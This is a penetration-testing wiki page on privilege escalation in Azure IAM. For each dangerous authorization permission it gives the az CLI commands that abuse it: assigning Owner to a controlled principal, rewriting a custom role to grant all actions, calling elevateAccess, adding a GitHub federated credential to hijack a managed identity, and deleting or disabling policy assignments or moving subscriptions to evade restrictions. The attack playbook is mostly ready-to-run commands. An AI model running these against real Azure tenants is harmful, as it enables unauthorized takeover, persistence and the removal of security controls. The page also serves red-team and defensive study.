# Az - Azure IAM Privesc (Authorization)

{{#include ../../../banners/hacktricks-training.md}}

## Azure IAM

Fore more information check:

{{#ref}}
../az-services/az-azuread.md
{{#endref}}

Permissions that let a principal **change authorization itself** are usually **privesc primitives**. This is specially dangerous when they are granted on **management group** or **subscription** scopes, because the permissions are inherited by child resources.

### Microsoft.Authorization/roleAssignments/write

This permission allows to create role assignments over a specific scope, allowing an attacker to escalate privileges by assigning himself or another controlled principal a more privileged role.

Typical flow:

```bash
# Login and confirm current context
az login
az account show

# Enumerate current assignments and find the custom role granting this action
az role assignment list --all --output table
az role definition list --name "<role-definition-name>"
```

If the compromised principal has this action over a scope, it can directly grant a privileged role such as `Owner`, `Contributor`, `Key Vault Secrets Officer`, or any other built-in/custom role available in that scope:

```bash
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
```

Knowing the **principal object ID** of the target user/service principal/managed identity is enough to grant the new role. This can be abused for **self-privesc**, **lateral movement**, or **persistence** by assigning the role to a different controlled principal.

### Microsoft.Authorization/roleDefinitions/write

This permission allows to create or modify custom role definitions. In practice, this is dangerous because an attacker can:

- Modify a custom role that is **already assigned** to the compromised principal, making the new permissions effective immediately.
- Create a new over-privileged custom role and then assign it, usually chaining with `Microsoft.Authorization/roleAssignments/write`.

Typical flow:

```bash
# Find the current assignments
az role assignment list --all --output table

# Review the role definition currently assigned to the compromised principal
az role definition list --name "<role-definition-name>"
```

Create the file `role.json` with the following **content**:

```json
{
  "roleName": "<name of the role>",
  "Name": "<name of the role>",
  "IsCustom": true,
  "Description": "Custom role with elevated privileges",
  "Actions": ["*"],
  "NotActions": [],
  "DataActions": ["*"],
  "NotDataActions": [],
  "AssignableScopes": ["/subscriptions/<subscription-id>"],
  "id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>"
}
```

Then update the role permissions with the previous definition calling:

```bash
az role definition update --role-definition role.json
```

If the modified role is **already assigned** to the attacker, this can be a faster path than creating a new role assignment because the permission inflation applies to the existing assignment.\
If the attacker only has `roleDefinitions/write`, he can still weaponize it by modifying roles already assigned to compromised principals.

### Microsoft.Authorization/elevateAccess/action

This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources.

> [!TIP]
> I think the user need to be Global Administrator in Entrad ID for the elevate call to work.

```bash
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
```

### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write

This permission allows to create/update **Federated Identity Credentials (FICs)** on **user-assigned managed identities**. In practice, this lets an attacker add a new trust relationship to an external identity provider and then obtain tokens as that managed identity.

This is a **persistence / identity hijacking primitive**: if the managed identity already has access to Azure resources, the attacker only needs to create a matching external workload (for example, a GitHub Actions workflow) and exchange the external token for Azure tokens.

Useful points to verify before abusing it:

- Which **managed identity** can be modified
- Which **scope/roles** are already assigned to that managed identity
- Which **issuer**, **subject**, and **audience** will be accepted during token exchange

You can create the FIC with the dedicated CLI command:

```bash
az identity federated-credential create \
  --name "github-federated-identity" \
  --identity-name testMI \
  --resource-group bialystok-rg \
  --issuer "https://token.actions.githubusercontent.com" \
  --subject "repo:REPO/IAMTEST:ref:refs/heads/main" \
  --audiences "api://AzureADTokenExchange"
```

Or with raw REST.

Example command to give access to a GitHub repo to a managed identity:

```bash
# Generic example:
az rest --method PUT \
  --uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
  --headers "Content-Type=application/json" \
  --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'

# Example with specific data:
az rest --method PUT \
  --uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
  --headers "Content-Type=application/json" \
  --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
```

Once the FIC is created, the attacker can authenticate from the external workload and use the managed identity permissions already granted in Azure. For more information about abusing GitHub OIDC / workload identity, check:

{{#ref}}
../az-basic-information/az-federation-abuse.md
{{#endref}}

### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete

An attacker with the permission `Microsoft.Authorization/policyAssignments/write` or `Microsoft.Authorization/policyAssignments/delete` over a management group, subscription, or resource group can **modify or delete Azure policy assignments**, potentially **disabling security restrictions** that block specific operations.

This allows access to resources or functionalities that were previously protected by the policy.

**Delete a policy assignment:**

```bash
az policy assignment delete \
    --name "<policyAssignmentName>" \
    --scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
```

**Disable a policy assignment:**

```bash
az policy assignment update \
    --name "<policyAssignmentName>" \
    --scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
    --enforcement-mode Disabled
```

**Verify the changes:**

```bash
# List policy assignments
az policy assignment list \
    --scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

# Show specific policy assignment details
az policy assignment show \
    --name "<policyAssignmentName>" \
    --scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
```

### Microsoft.Authorization/policyDefinitions/write

An attacker with the permission `Microsoft.Authorization/policyDefinitions/write` can **modify Azure policy definitions**, changing the rules that control security restrictions across the environment.

For example, a policy that limits the allowed regions for creating resources can be modified to allow any region, or the policy effect can be changed to make it ineffective.

**Modify a policy definition:**

```bash
az policy definition update \
    --name "<policyDefinitionName>" \
    --rules @updated-policy-rules.json
```

**Verify the changes:**

```bash
az policy definition list --output table

az policy definition show --name "<policyDefinitionName>"
```

### Microsoft.Management/managementGroups/write

An attacker with the permission `Microsoft.Management/managementGroups/write` can **modify the hierarchical structure of management groups** or **create new management groups**, potentially evading restrictive policies applied at higher levels.

For example, an attacker can create a new management group without restrictive policies and then move subscriptions to it.

**Create a new management group:**

```bash
az account management-group create \
    --name "yourMGname" \
    --display-name "yourMGDisplayName"
```

**Modify a management group hierarchy:**

```bash
az account management-group update \
    --name "<managementGroupId>" \
    --parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
```

**Verify the changes:**

```bash
az account management-group list --output table

az account management-group show \
    --name "<managementGroupId>" \
    --expand
```

### Microsoft.Management/managementGroups/subscriptions/write

An attacker with the permission `Microsoft.Management/managementGroups/subscriptions/write` can **move subscriptions between management groups**, potentially **evading restrictive policies** by moving a subscription to a group with less restrictive or no policies.

**Move a subscription to a different management group:**

```bash
az account management-group subscription add \
    --name "<managementGroupName>" \
    --subscription "<subscriptionId>"
```

**Verify the changes:**

```bash
az account management-group subscription show \
    --name "<managementGroupId>" \
    --subscription "<subscriptionId>"
```

## References

- [IAM the Captain Now – Hijacking Azure Identity Access](https://trustedsec.com/blog/iam-the-captain-now-hijacking-azure-identity-access)
- [Assign Azure roles using the REST API - Azure RBAC](https://learn.microsoft.com/en-us/azure/role-based-access-control/role-assignments-rest)
- [Azure custom roles](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)
- [Create trust between user-assigned managed identity and external identity provider](https://learn.microsoft.com/en-us/entra/workload-id/workload-identity-federation-create-trust-user-assigned-managed-identity)

{{#include ../../../banners/hacktricks-training.md}}
